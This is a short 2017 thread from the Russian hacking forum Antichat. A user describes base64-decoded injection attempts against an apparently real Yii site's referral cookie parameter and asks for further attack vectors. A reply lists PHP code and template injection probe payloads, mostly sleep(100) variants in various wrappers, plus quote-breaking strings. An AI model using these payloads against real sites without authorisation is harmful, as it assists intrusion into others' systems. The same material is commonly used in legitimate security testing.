Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   Ошибка в параметре String --> Array (https://forum.antichat.xyz/showthread.php?t=454929)

jangle 23.08.2017 16:37

Нашел вот такую ошибку...

site.com?r=MQ== - отработало ок.

site.com?r[]=MQ== - дает ошибку

expects parameter 1 to be string, array given


это понятно, частая баг, но интересно следующее:

смотрим код, тут есть такая штука

Код:

Code:
public function SetCookie($refID)
    {
        $cookies = Yii::$app->response->cookies;
        $cookies->add(new Cookie([
            'name' => 'ref',
            'value' => base64_decode($refID),
            'domain' => $_SERVER['SERVER_NAME'],
            'expire' => time() + 3600,
        ]));
    }

как видно параметр декодится BASE64.

далее эксперименты:

site.com?r["1"]=MQ== - дает ошибку

а вот site.com?r["MQ=="]=MQ== - отрабатывает.

тут MQ== это 1 в base64

вообщем параметры в ["ТУТ"] в base64 отрабатываю.

идем далее - эксперименты;

запросы без вывода ошибки:

site.com?r["MSddOyUwMA=="]=MQ==

MSddOyUwMA== это 1'];%00

site.com?r["MSddO3BocGluZm8oKTslMDA="]=MQ==

MSddO3BocGluZm8oKTslMDA= это 1'];phpinfo();%00

без ошибки исполнено, но и phpinfo не вывело

а запрос

site.com?r["MSddO3BocGluZm8oKTt9JTAw"]=MQ==

MSddO3BocGluZm8oKTt9JTAw это 1'];phpinfo();}%00

дает ошибку.


Итак вопрос, какой бы вы посоветовали вектор атаки, какие еще можно провести тесты?

orlando@jabb.im - жаба для связи

crlf 23.08.2017 18:24

По одной функции, точно сказать, есть ли в этом случае выполнение кода или нет, нельзя. Нужно видеть весь код, от начала и до конца.

На мой взгляд, в тестах, есть попытка выдать желаемое за действительное. Вариантов, при которых можно (гипотетически) внедрить код, может быть куча и пробовать их все сравни эффекту как об стенку горох.

Я на 99,9% уверен что там нет выполнения кода, но если очень хочется, могу предложить такие конструкции для теста:

Код:

Code:
sleep(100);
{math equation="x+y" x=5 y=4}
{{3*3}}
{PHP}sleep(100);{/PHP}

{${sleep(100)}}
`{${sleep(100)}}`
{$sleep[sleep(100)]}
${${sleep(100)}}
${@sleep(100)}
${sleep(100)}
${(string)sleep(100)}
${sleep(100)}
';sleep(100);#\
";sleep(100);#\
".sleep(100);#\
'.sleep(100);#\


jangle 23.08.2017 21:20

crlf, огромное спасибо, дал пищу для размышлений и экспериментов!!!!


Время: 10:48